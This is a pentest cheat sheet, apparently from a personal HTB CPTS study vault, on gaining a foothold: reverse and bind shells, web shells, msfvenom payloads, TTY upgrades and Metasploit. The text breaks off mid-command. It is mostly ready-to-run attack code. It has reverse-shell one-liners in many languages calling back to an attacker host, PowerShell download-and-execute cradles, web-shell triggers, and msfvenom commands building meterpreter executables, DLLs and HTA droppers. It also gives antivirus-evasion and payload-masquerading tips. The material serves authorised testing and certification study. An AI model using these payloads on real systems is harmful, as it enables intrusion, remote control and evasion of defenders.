foothold-shells-payloads-metasploit.md (43859B)
1 --- 2 title: "Foothold Toolkit — Shells, Payloads, and Metasploit" 3 description: "CPTS attack-flow reference for foothold toolkit — shells, payloads, and metasploit in an authorised engagement." 4 category: pentest-workflow 5 subcategory: "CPTS Attack Flow" 6 order: 5 7 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-foothold", "pentest-workflow"] 8 tools: ["Netcat", "socat", "msfvenom", "Metasploit", "nishang", "donut", "ligolo-ng", "chisel"] 9 difficulty: intermediate 10 updated: "2026-08-29" 11 source: "vault:Pentest Attack Flow/05 - Foothold Toolkit - Shells Payloads and Metasploit.md" 12 --- 13 > [!dashboard] Attack-flow navigation 14 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 15 > 16 > **Section:** 05 of 17 · **Focus:** Foothold Toolkit — Shells, Payloads, and Metasploit 17 > 18 > **Previous:** [Foothold Toolkit — File Transfers](/sheets/pentest-workflow/foothold-file-transfers) · **Next:** [Stage 03 — Service Enumeration](/sheets/pentest-workflow/service-enumeration) 19 20 --- 21 # 🐚 FOOTHOLD TOOLKIT — Shells, Payloads & Metasploit 22 23 The bridge between "I have code execution" and "I have a shell I can actually work in." A web/injection/upload vuln (STAGE 2) or a service exploit hands me an execution primitive — this section turns that into a caught, stabilised shell, then into a Metasploit session when I want the post-ex toolkit. Rule of thumb: **reverse over bind** (outbound survives firewalls, inbound rarely does), **stabilise before I `sudo -l`**, and **treat a web shell as a stepping stone to a real reverse shell, never the end state**. Deep dives: 3 - Reverse Shells · 2 - Bind Shells · 4 - Payload Basics · 6 - Crafting Payloads with MSFvenom · 9 - Landing a Web Shell · 8 - Getting a Shell on Linux · 7 - Getting a Shell on Windows. **MITRE:** T1059 (Command and Scripting Interpreter), T1071 (C2 over Application Layer Protocols), T1105 (Ingress Tool Transfer). 24 25 > [!note] Env 26 > `$LHOST` = my tun0 (already exported), `$IP` = target. Payloads below call back to `$LHOST` on **443** (rides egress-allowed HTTPS) or 4444. Match the catch port to the payload port every time — a port mismatch is the #1 "payload ran, no shell" cause. 27 28 **Shell selection at a glance** 29 30 | My situation | Reach for | 31 |---|---| 32 | Linux RCE, bash present, egress open | `bash -i >& /dev/tcp/...` → `nc` catch → python pty | 33 | Upload to web root | Stage `rp-shell.*` → browse → fire reverse one-liner | 34 | Windows RCE, powershell allowed | Nishang `Invoke-PowerShellTcp` cradle | 35 | Want post-ex toolkit (hashdump, kiwi, portfwd) | msfvenom meterpreter + `multi/handler` | 36 | Egress blocked, internal segment | Bind shell (`nc -lvnp` + FIFO / socat) | 37 | Already in a meterpreter session, need more reach | `autoroute` + `socks_proxy`, or ligolo-ng/chisel | 38 | Fragile/lossy link | Stageless payload, or `reverse_https` | 39 40 <figure class="flow plate corners"> 41 <figcaption class="flow__cap"><span class="flow__kind">Foothold decision flow</span><span class="flow__dir">TD</span></figcaption> 42 <div class="flow__body"> 43 <div class="flow__diagram" data-dir="td"> 44 <div class="flow-rank"><div class="flow-node is-entry">Execution primitive<span class="sub">RCE / upload / injection</span></div></div> 45 <div class="flow-edge"></div> 46 <div class="flow-rank"><div class="flow-node is-decision">Egress open?</div></div> 47 <div class="flow-branches"> 48 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">yes</span></div><div class="flow-node">Reverse shell<span class="sub">nc / socat catch</span></div></div> 49 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">no</span></div><div class="flow-node">Bind shell<span class="sub">target listens</span></div></div> 50 </div> 51 <div class="flow-join"></div> 52 <div class="flow-rank"><div class="flow-node">TTY upgrade<span class="sub">pty / script / ConPty</span></div></div> 53 <div class="flow-edge"></div> 54 <div class="flow-rank"><div class="flow-node is-decision">Need post-ex?</div></div> 55 <div class="flow-branches"> 56 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">yes</span></div><div class="flow-node">msfvenom meterpreter<span class="sub">+ multi/handler</span></div><div class="flow-edge"></div><div class="flow-node">Pivot<span class="sub">autoroute / ligolo-ng / chisel</span></div><div class="flow-edge"></div><div class="flow-node">Stage 10</div></div> 57 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">no</span></div><div class="flow-node">Manual enum<span class="sub">Stage 09</span></div></div> 58 </div> 59 </div> 60 </div> 61 </figure> 62 63 --- 64 65 ### Reverse-shell one-liner library (catch on nc) 66 67 **What to look for** → an execution primitive (RCE, injection, cron, upload) and *which interpreters exist on target* — don't assume `nc`. On Windows `powershell`/`cmd` are always there; Linux almost always has `bash` + one of python/perl/php. 68 69 **Enumerate what's available on target** 70 ```bash 71 which python3 python perl php socat nc ncat awk ruby busybox 2>/dev/null 72 ls -la /usr/bin | grep -iE 'python|perl|php|socat|nc|ruby' 73 # generate any of these interactively (all languages, url/quote-encoded): https://www.revshells.com 74 ``` 75 76 **The library — pick the row matching what exists on target** 77 78 | Target has | One-liner (reverse) | Notes | 79 |---|---|---| 80 | bash | `bash -i >& /dev/tcp/$LHOST/443 0>&1` | No binary needed; most portable Linux primitive | 81 | sh only | `0<&196;exec 196<>/dev/tcp/$LHOST/443; sh <&196 >&196 2>&196` | dash/sh-safe variant of /dev/tcp | 82 | nc with `-e` | `nc $LHOST 443 -e /bin/bash` | Stripped from most modern builds — test it | 83 | nc without `-e` | `rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f\|/bin/bash -i 2>&1\|nc $LHOST 443 >/tmp/f` | The module's FIFO method | 84 | python3 | `python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("$LHOST",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'` | Spawns a pty inline (half-stabilised) | 85 | python2 | `python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("$LHOST",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'` | Legacy targets | 86 | php | `php -r '$s=fsockopen("$LHOST",443);exec("/bin/sh -i <&3 >&3 2>&3");'` | What a dropped .php web shell pivots to | 87 | perl | `perl -e 'use Socket;$i="$LHOST";socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in(443,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'` | Near-universal on older *nix | 88 | ruby | `ruby -rsocket -e 'f=TCPSocket.open("$LHOST",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'` | macOS + dev stacks | 89 | socat | `socat TCP:$LHOST:443 EXEC:'bash -li',pty,stderr,setsid,sigint,sane` | Full PTY in ONE hop — best option if present | 90 | openssl | see TLS block below | Encrypted callback, rides 443 cleanly | 91 | awk | `awk 'BEGIN{s="/inet/tcp/0/$LHOST/443";while(1){do{printf "sh>" \|& s;s \|& getline c;if(c){while((c \|& getline)>0)print \$0 \|& s;close(c)}}while(c!="exit");close(s)}}'` | Exotic; gawk-only networking | 92 | busybox | `busybox nc $LHOST 443 -e /bin/sh` | Embedded/IoT/minimal containers | 93 | powershell | see Windows block below | Defender signatures the famous one-liner | 94 95 **Exploit — Linux payloads (drop into whatever the target has)** 96 ```bash 97 # bash /dev/tcp — no nc binary needed, the most portable primitive 98 bash -i >& /dev/tcp/$LHOST/443 0>&1 99 bash -c 'bash -i >& /dev/tcp/'"$LHOST"'/443 0>&1' # injection-safe wrap 100 0<&196;exec 196<>/dev/tcp/$LHOST/443; sh <&196 >&196 2>&196 # sh-only fallback 101 102 # nc: -e if the build kept it, mkfifo if it didn't (the module's method) 103 nc $LHOST 443 -e /bin/bash 104 rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc $LHOST 443 > /tmp/f 105 106 # python3 — spawns a pty inline (already half-stabilised) 107 python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("'"$LHOST"'",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")' 108 109 # perl / php (php one is what a dropped .php web shell pivots to) 110 perl -e 'use Socket;$i="'"$LHOST"'";socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in(443,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");' 111 php -r '$s=fsockopen("'"$LHOST"'",443);exec("/bin/sh -i <&3 >&3 2>&3");' 112 113 # socat — full PTY in ONE hop (best if socat is on target, see TTY section) 114 socat TCP:$LHOST:443 EXEC:'bash -li',pty,stderr,setsid,sigint,sane 115 116 # openssl reverse shell — encrypted callback, dodges plaintext IDS on 443 117 # Pwnbox: openssl req -newkey rsa:2048 -nodes -keyout k.pem -x509 -days 365 -out c.pem 118 # openssl s_server -quiet -accept 443 -cert c.pem -key k.pem 119 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect $LHOST:443 > /tmp/s; rm /tmp/s 120 ``` 121 122 **Exploit — Windows payloads** 123 ```powershell 124 # PowerShell TCPClient one-liner (module's payload — Defender flags it as ScriptContainedMaliciousContent) 125 powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('$LHOST',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sby=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()}" 126 # Nishang scripted equivalent — supports -Reverse / -Bind, IPv4+IPv6, no retyping 127 Invoke-PowerShellTcp -Reverse -IPAddress $LHOST -Port 443 128 ``` 129 130 > [!tools] Stage this (from `attachments/`) 131 > [nishang-master.zip](/downloads/pentest-workflow/nishang-master.zip) ([SHA-256](/downloads/pentest-workflow/nishang-master.zip.sha256) · [GPG signature](/downloads/pentest-workflow/nishang-master.zip.sha256.asc)) 132 > [Nishang](https://github.com/samratashok/nishang) — offensive PowerShell toolkit; `Shells/Invoke-PowerShellTcp.ps1` is the reliable Windows reverse/bind shell family (`Invoke-PowerShellTcp`, `-Reverse`/`-Bind`, plus UDP and ICMP variants). Unzip, serve the single `.ps1` over HTTP, cradle it with `IEX (New-Object Net.WebClient).DownloadString(...)` — no need to paste the giant one-liner by hand. Siblings worth knowing in the same `Shells/` folder: `Invoke-PowerShellUdp` (egress that only allows UDP-shaped flows), `Invoke-PoshRatHttp`/`Invoke-PowerShellIcmp` (covert-channel experiments — lab curiosities, loud in practice). 133 134 **Delivery pattern (serve → cradle → catch)** 135 ```powershell 136 # Pwnbox: cd into the unzipped nishang/Shells dir, then python3 -m http.server 80 137 # Target (one line, appends the invocation so the script self-fires on download): 138 IEX (New-Object Net.WebClient).DownloadString('http://%LHOST%/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress %LHOST% -Port 443 139 ``` 140 > [!warning] Nishang scripts are **heavily signatured** (AMSI + Defender know `Invoke-PowerShellTcp` by name). For a monitored target, rename the function and strip comments first, or go straight to a donut/C2 loader. In CPTS labs: fire as-is, it's fine. 141 142 > [!warning] Watch out 143 > - **`nc -e`/`-c` is stripped from most modern builds** (Debian/Ubuntu `netcat-openbsd`) — that's why the `mkfifo /tmp/f` loop exists; reach for it (or socat) when `-e` errors. 144 > - **Bind shells need inbound to the target** → NAT + perimeter + host firewalls kill them. Only fall back to a bind shell on an unrestricted *internal* segment. See 2 - Bind Shells. 145 > - The plaintext PowerShell/nc shells are **trivially signatured** — a lab Defender blocks them outright, and any packet inspection sees them in clear. Fine for HTB, but for evasion use a staged encrypted channel (meterpreter `reverse_https`) or a real C2. 146 > - Single-quoted python/perl payloads break shell interpolation of `$LHOST` — I splice it with `'"$LHOST"'` above so it still expands. Paste-check the IP landed before firing. 147 > - URL-encode payloads fired through a **web** RCE parameter — `&`, `|`, `;`, spaces all mangle in transit (`bash -i >& /dev/tcp/...` → encode the `&`s or base64-wrap: `echo <b64> | base64 -d | bash`). 148 149 --- 150 151 ### Bind shell (fallback for unrestricted internal segments) 152 153 **What to look for** → I can start a listener on the target but *can't* get it to dial out (egress fully blocked), and I have a route in. 154 155 **Exploit** 156 ```bash 157 # TARGET listens, serves a shell over the socket (mkfifo, since nc -e is usually gone) 158 rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvnp 7777 > /tmp/f 159 socat TCP-LISTEN:7777,reuseaddr EXEC:/bin/bash,pty,stderr,setsid,sigint,sane # PTY-quality bind 160 # MY side — connect in 161 nc -nv $IP 7777 162 ``` 163 ```powershell 164 # Windows bind via Nishang (target listens, I connect) 165 Invoke-PowerShellTcp -Bind -Port 7777 166 ``` 167 168 > [!warning] Watch out 169 > A bare `nc -lvnp` proving "connection succeeded" is **not a shell** until an interpreter is piped through it — that's the classic "connected but nothing happens." The FIFO (or socat `EXEC:`) is what actually binds bash to the socket. And remember the bind listener dies when the shell exits — re-trigger the payload for each reconnect, or wrap it in a `while true; do ... done` loop for resilience on fragile boxes. 170 > 171 > Also: bind shells are **unauthenticated listeners** — anyone (including other students on shared HTB ranges, or a scanner) who connects first gets the shell. On shared infrastructure, close the port when done and prefer reverse shells when egress allows. 172 173 --- 174 175 ### Web shells — staging the right one for the stack 176 177 **What to look for** → the web technology determines the shell language; the upload path determines whether I browse *to* it or include it. IIS → `.aspx`/`.asp`, Tomcat/Java → `.jsp`/`.war`, Apache/Nginx+PHP → `.php`. The `aspnet_client` folder, `WEB-INF/`, or `.php` in `$_SERVER` tells are the give-aways. Deep dive: 9 - Landing a Web Shell and sibling note 05 - Web Shells - CPTS Cheat Sheet. 178 179 > [!tools] Stage this (from `attachments/`) 180 > [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.php.sha256.asc)) 181 > [rp-shell.asp](/downloads/pentest-workflow/rp-shell.asp) ([SHA-256](/downloads/pentest-workflow/rp-shell.asp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.asp.sha256.asc)) 182 > [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) ([SHA-256](/downloads/pentest-workflow/rp-shell.jsp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.jsp.sha256.asc)) 183 > [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc)) 184 > Custom vault webshells per stack — `rp-shell.php` for PHP apps, `rp-shell.asp` for classic-ASP IIS, `rp-shell.jsp` for Tomcat/JSP containers, `nt-webshell-rosepine.aspx` for ASP.NET/IIS. Transfer via the channels in [note 04](/sheets/pentest-workflow/foothold-file-transfers), then browse to the upload path and fire a reverse-shell one-liner from the shell's command box. 185 186 > [!note] Language ↔ server mapping (get this right or the shell 404s/500s) 187 > 188 > | Server / stack | Shell to stage | Typical upload landing | 189 > |---|---|---| 190 > | IIS + ASP.NET | `.aspx` (rosepine) | `C:\inetpub\wwwroot\`, `/uploads/` | 191 > | IIS + classic ASP | `.asp` | Same — legacy apps | 192 > | Apache/Nginx + PHP | `.php` | `/var/www/html/uploads/` | 193 > | Tomcat / JSP | `.jsp` or deploy `.war` | `webapps/<app>/`, manager-deploy | 194 > | CMS (WordPress etc.) | `.php` via theme/plugin editor | `wp-content/themes/<theme>/` | 195 196 ```bash 197 # Test the shell landed (then pivot to a real reverse shell immediately) 198 curl "http://$IP/uploads/rp-shell.php?cmd=id" 199 curl "http://$IP/uploads/rp-shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/$LHOST/443+0>%261'" 200 ``` 201 202 > [!warning] Watch out 203 > - A web shell is **not** the end state: it dies with the request, has no job control, and every command is a fresh HTTP hit in the access log. Pivot to a reverse shell ASAP. 204 > - Web shells usually run as the **service account** (`www-data`, `apache`, `IIS APPPOOL\<name>`) — expect low privs, and note the shell's deleted-file artifact: the uploaded `.php`/`.aspx` on disk is IOC #1. Clean it up at the end. 205 > - Some upload forms rename to a random filename or block by extension — double extensions (`shell.php.jpg`), content-type juggling, and filter bypasses live in [Stage 02](/sheets/pentest-workflow/web-enumeration-and-exploitation). 206 207 --- 208 209 ### Catching the callback (nc / socat / rlwrap / pwncat) 210 211 **What to look for** → a listener up *before* I trigger the payload, on the exact port the payload targets. 212 213 **Exploit** 214 ```bash 215 sudo nc -lvnp 443 # raw catch (443 needs sudo for <1024) 216 rlwrap nc -lvnp 443 # +arrow keys, history, line editing on the catch 217 socat file:`tty`,raw,echo=0 TCP-LISTEN:443 # hands me a real PTY (pairs w/ socat target one-liner) 218 pwncat-cs -lp 443 # auto-stabilises PTY + layers post-ex (upload/download, persistence) 219 ``` 220 221 > [!tip] Start the listener, *then* trigger. If the shell dies the instant it connects, my payload port ≠ my listen port, or a stray old listener/`multi/handler` job still owns the port (`jobs -K` in msf, `fuser -k 443/tcp` in the shell). 222 223 **Catching reliably — the failure modes I actually hit** 224 225 | Symptom | Cause | Fix | 226 |---|---|---| 227 | Listener up, payload fires, nothing arrives | Egress filter; wrong `$LHOST`; payload encoded wrong | Re-check tun0; try 443; test payload locally first | 228 | Connects then instantly drops | Port mismatch; staged payload caught by bare `nc`; AV killed the stager | Match ports; use multi/handler for staged; stageless for `nc` | 229 | Shell connects, I type, output garbled | No PTY (raw socket) | TTY upgrade (next section) | 230 | Second trigger gives nothing | First dead session still bound the port | `jobs -K` / `fuser -k <port>/tcp`, restart listener | 231 | `reverse_https` payload won't stage | TLS interception / proxy auth in the way | Fall back to `reverse_tcp` on an allowed port, or bind shell | 232 233 **Listener hygiene (OPSEC + reliability)** 234 - **Name your listeners**: in `msfconsole` use a distinct `LPORT` per engagement leg and log it; on bare nc, keep a mental table of `port → payload → target`. On a busy box with 4 callbacks, guessing wrong loses sessions. 235 - **Resource scripts** (`handler.rc`) so a crashed `msfconsole` doesn't cost the config: 236 ```text 237 # handler.rc — msfconsole -r handler.rc 238 use exploit/multi/handler 239 set payload windows/x64/meterpreter/reverse_tcp 240 set LHOST tun0 241 set LPORT 443 242 set ExitOnSession false 243 run -j 244 ``` 245 - **One port, one purpose**: don't point two different payload types at the same listener port — a staged meterpreter and a raw bash one-liner on 443 will fight over the connection. 246 - Kill cleanly: `jobs -k <id>` in msf, `fuser -k 443/tcp` on bare listeners. Never `Ctrl+C` a live handler. 247 248 --- 249 250 ### msfvenom payload factory (format matrix + staging) 251 252 **What to look for** → what the target will actually *execute*: a binary I can run, or a file a service will interpret. Match the format to the stack — `.aspx` for IIS/ASP.NET (the `aspnet_client` folder is the tell), `.war`/`.jsp` for Tomcat, `.php` for a PHP app, `.elf`/`.exe` for a direct-run foothold. Full walk-throughs: 6 - Crafting Payloads with MSFvenom · 14 - Introduction to MSFVenom. 253 254 **Enumerate the exact strings (don't guess payload/format names)** 255 ```bash 256 msfvenom -l payloads | grep -iE 'linux/x64|windows/x64|java|php' 257 msfvenom -l formats # exe, elf, elf-so, aspx, war, jsp, raw, dll, msi, psh, hta-psh, python ... 258 msfvenom -l encoders 259 ``` 260 261 **Payload matrix — OS × arch × staging × format** 262 263 | Target stack | msfvenom `-p` | `-f` | Catcher | 264 |---|---|---|---| 265 | Windows x64, direct-run exe | `windows/x64/shell_reverse_tcp` (stageless) | `exe` | plain `nc` OK | 266 | Windows x64, meterpreter staged | `windows/x64/meterpreter/reverse_tcp` | `exe` | **multi/handler only** | 267 | Windows x86 (legacy) | `windows/meterpreter/reverse_tcp` | `exe` | multi/handler | 268 | Windows DLL-hijack delivery | `windows/x64/meterpreter/reverse_tcp` | `dll` | multi/handler | 269 | Windows scriptless (psh) | `windows/meterpreter/reverse_tcp` | `psh` / `psh-net` | multi/handler | 270 | Windows HTA dropper | `windows/meterpreter/reverse_tcp` | `hta-psh` | multi/handler | 271 | IIS / ASP.NET | `windows/meterpreter/reverse_tcp` | `aspx` | multi/handler | 272 | Tomcat | `java/jsp_shell_reverse_tcp` | `war` / `raw` (jsp) | multi/handler (jsp_shell_reverse_tcp catchable by nc too) | 273 | PHP app | `php/reverse_php` | `raw` | plain `nc` OK | 274 | Linux x64 stageless | `linux/x64/shell_reverse_tcp` | `elf` | plain `nc` OK | 275 | Linux x64 staged meterpreter | `linux/x64/meterpreter/reverse_tcp` | `elf` | multi/handler | 276 | Linux shared object (.so injection) | `linux/x64/meterpreter/reverse_tcp` | `elf-so` | multi/handler | 277 | Any python runtime | `cmd/unix/reverse_python` | `raw` | plain `nc` OK | 278 | Encoded/iterated (bad chars) | `…` `-e x86/shikata_ga_nai -i 10 -b '\x00'` | per stack | Bad-char removal ≠ evasion | 279 280 **Attack — one payload per target stack** 281 ```bash 282 # LINUX — standalone ELF (stageless single, self-contained) 283 msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f elf -o shell.elf 284 # WINDOWS — plain reverse-shell EXE (single) vs staged meterpreter EXE 285 msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o shell.exe 286 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o met.exe 287 # IIS / ASP.NET — .aspx (module's anon-FTP→/uploads→browse chain) 288 msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=1337 -f aspx -o shell.aspx 289 # TOMCAT — deployable WAR, or a raw JSP to drop in a webroot 290 msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war -o shell.war 291 msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f raw -o shell.jsp 292 # PHP app — raw payload (prepend "<?php " if the app doesn't wrap it), then browse to it 293 msfvenom -p php/reverse_php LHOST=$LHOST LPORT=443 -f raw -o shell.php 294 # python one-liner stager (paste into any python-exec primitive) 295 msfvenom -p cmd/unix/reverse_python LHOST=$LHOST LPORT=443 -f raw 296 # encode + iterate + strip bad chars (weak AV evasion — see caveat) 297 msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -e x86/shikata_ga_nai -i 10 -b '\x00' -f exe -o t.exe 298 # DLL for hijack / side-load chains (Stage 09 patterns), HTA for mshta delivery 299 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f dll -o hijack.dll 300 msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f hta-psh -o drop.hta 301 ``` 302 303 > [!note] Staged vs stageless — read it in the name 304 > `windows/shell/reverse_tcp` (extra `/`) = **staged**: tiny stager calls back, MSF sends the rest → smaller, more fragile on lossy links, and the catcher **must** be `multi/handler`. `windows/shell_reverse_tcp` (no inner `/`) = **stageless single**: whole payload in one shot → catch with a plain `nc`. Mixing the two = a hung/dead session. Detail in 6 - Payloads. **Reliability note:** staged payloads retry the stage download over the same socket — on lossy/latency-spiky pivot chains the stage transfer is what dies, so prefer stageless (or `reverse_https`) through tunnels. 305 > 306 > Memory aid: **more slashes = more trips**. Staged (`meterpreter/reverse_tcp`) = two network trips (stager + stage); stageless (`shell_reverse_tcp`) = one self-contained blob. When AV only scans the dropper, the *stager* is what gets signatured — but the stage arrives in memory over the C2 channel, which is why staged meterpreter sometimes survives where a stageless exe wouldn't. 307 308 > [!warning] Watch out 309 > - **Raw msfvenom output has ~zero AV evasion** — the module's own VirusTotal test scored **51/68** even with `-i 10` iterations of shikata_ga_nai; every engine names `Trojan:Win32/Meterpreter.A`. Encoders are for **bad-char removal**, not evasion. For evasion use a loader/C2 (donut below, or [ScareCrow](https://github.com/optiv/ScareCrow)/[Freeze](https://github.com/Tylous/Freeze)), not `-e`. Full breakdown: 7 - Encoders. 310 > - **`shikata_ga_nai` only ranks high because it's polymorphic per-iteration** — the *decoder stub* itself is signatured, so more iterations change the bytes without changing the verdict. Iterations help against naive pattern matching on the payload body, nothing else. 311 > - `-x <template.exe>` (inject into a custom EXE template) preserves template metadata/imports and blends marginally better than a bare output — but a signatured meterpreter inside a legit template is still signatured meterpreter. 312 > - **Never upload a real assessment payload to public VirusTotal** — it leaks the hash/signature to every AV vendor and burns the payload. Use a private detonation env. 313 > - `-f msi`, `-f dll`, and service-EXE privesc payloads (AlwaysInstallElevated, unquoted paths, DLL group-add) live in **STAGE 9** — don't duplicate them here. 314 > - Delivery ≠ generation: msfvenom builds the file, but a dropped `.aspx`/`.php` on disk is a **forensic artifact** (the module's exploit failed to self-delete its `.asp`) even when meterpreter itself is memory-resident. 315 > - **Payload naming (T1036):** `shell.exe` screams. Name drops like something the box would have (`update.exe`, `audiodg.exe`, `svchost-patch.exe`) — and record the real name ↔ purpose mapping in notes for cleanup. 316 > - **Arch mismatch is a silent killer:** a `windows/x64/...` payload won't stage from a 32-bit process (e.g. older app pools, `SysWOW64` context). When in doubt on legacy IIS/servers, generate x86 — it runs under WOW64 either way. 317 318 > [!tools] Stage this (from `attachments/`) 319 > [donut_v1.1.zip](/downloads/pentest-workflow/donut_v1.1.zip) ([SHA-256](/downloads/pentest-workflow/donut_v1.1.zip.sha256) · [GPG signature](/downloads/pentest-workflow/donut_v1.1.zip.sha256.asc)) 320 > [donut](https://github.com/TheWover/donut) — converts PE/DLL/.NET exe → position-independent **shellcode**. Use-case: when the target won't run a raw msfvenom exe (AV signature) but I have a shellcode-injection primitive (an exploit, `CreateRemoteThread` loader, or a C2 that accepts raw shellcode) — bake the tool (e.g. a .NET assembly) into shellcode and inject instead of dropping. Still **not** an AV silver bullet: donut's own loader stub is signatured, so pair it with an injector the environment doesn't already know. 321 322 ```bash 323 # donut quick-look (Linux build of the release zip) 324 ./donut -a 3 -f 1 -o payload.bin Rubeus.exe # -a arch(3=x86+amd64), -f 1=raw shellcode 325 # inject payload.bin with whatever primitive the exploit/C2 provides 326 ``` 327 328 --- 329 330 ### Stabilise the TTY (do it before anything interactive) 331 332 **What to look for** → `tty` says `not a tty`, no tab-complete, `sudo -l`/`su`/`ssh` misbehave — every raw reverse shell lands like this. This is a **summary**; the full playbook (PTY allocation, recovery, restricted shells and ConPTY) is in TTY Upgrades & Restricted Shells. 333 334 **Exploit (fastest paths)** 335 ```bash 336 # 1) python pty — the classic 337 python3 -c 'import pty; pty.spawn("/bin/bash")' # or perl -e 'exec "/bin/sh";' / /bin/sh -i when no python 338 # 2) script(1) — present when python isn't (util-linux, near-universal) 339 script -qc /bin/bash /dev/null 340 # 3) socat one-shot full PTY (correct size, job control, Ctrl+C) — beats the two-step dance: 341 # MY box: socat file:`tty`,raw,echo=0 TCP-LISTEN:443 342 # TARGET: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$LHOST:443 343 ``` 344 ```bash 345 # 4) the background/fix/foreground dance after 1) or 2): 346 # (in shell) Ctrl+Z 347 stty raw -echo; fg # on MY terminal — then press Enter 348 export TERM=xterm # in the now-PTY shell 349 stty rows 40 cols 140 # match MY terminal size — `stty -a` locally tells me the values 350 ``` 351 ```powershell 352 # Windows side: ConPtyShell (https://github.com/antonioCoco/ConPtyShell) — a REAL interactive 353 # reverse shell over ConPTY (tab-complete, arrows, Ctrl+C), not a dumb cmd pipe. 354 # Requires Windows 10 1809+/Server 2019+ (ConPTY API); older targets fall back to the 355 # Nishang/plain TCPClient shells above. Serve Invoke-ConPtyShell.ps1, then on target: 356 IEX(IWR http://%LHOST%/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell %LHOST% 443 357 # My catch: stty raw -echo; (stty size; cat) | nc -lvnp 443; stty sane # per ConPtyShell README 358 # (the stty size handshake is how ConPtyShell learns my terminal geometry — don't skip it) 359 ``` 360 361 > [!tip] A meterpreter `shell` that drops into a service account (`apache`, `www-data`, `IIS APPPOOL\Web`) is non-TTY for the same reason — upgrade it identically before trusting `sudo -l` output. Set rows/cols *before* running full-screen tools (`nano`, `less`, `msfconsole` over the shell) or display corruption follows. 362 363 **Upgrade a caught shell to meterpreter** — if a raw shell lands and I later decide I want the MSF toolkit: 364 ```bash 365 msf6 > use post/multi/manage/shell_to_meterpreter 366 msf6 > set SESSION <id-of-caught-shell> ; set LPORT 4445 ; run # upgrades in place 367 # or simply: sessions -u <id> (same module under the hood) 368 ``` 369 370 > [!warning] TTY pitfalls 371 > - `su`/`ssh`/`sudo -l` **hang or silently fail** without a PTY — if a command "freezes" the shell, suspect missing PTY before suspecting permissions. 372 > - `Ctrl+C` in a raw shell kills the *shell process*, not the foreground command — one careless Ctrl+C = reconnect from scratch. After the `stty raw -echo; fg` dance, Ctrl+C works normally again. 373 > - If the shell still echoes double after upgrade, my local `stty` didn't take — re-run `stty raw -echo` and hit Enter once to resync. 374 375 --- 376 377 ### Metasploit workflow (search → info → set → run) 378 379 **What to look for** → a version-specific service from recon (STAGE 1) that maps to a known MSF module, or an external payload I need to catch. Enumeration comes first — MSF is a tool in the chain, not "click to win." Deep dives: 4 - Modules · 6 - Payloads · 8 - Databases. 380 381 **Enumerate + select** 382 ```bash 383 msfconsole -q # skip the banner 384 # (optional) DB-backed: sudo msfdb init; then inside → db_status; workspace -a BOX; db_nmap -sCV $IP; hosts; services 385 search eternalromance # by keyword (matches Name/desc) 386 search type:exploit platform:windows cve:2021 rank:excellent # stack filters, all AND-ed 387 search -S proxylogon # regex filter a big result set 388 use 0 # pick by index no. (or full path) 389 info # ALWAYS read before firing — mechanism, refs, side effects 390 options # Required:yes fields must be set 391 ``` 392 393 **Configure + fire** 394 ```bash 395 setg RHOSTS $IP # global — persists across module swaps (same target run) 396 set 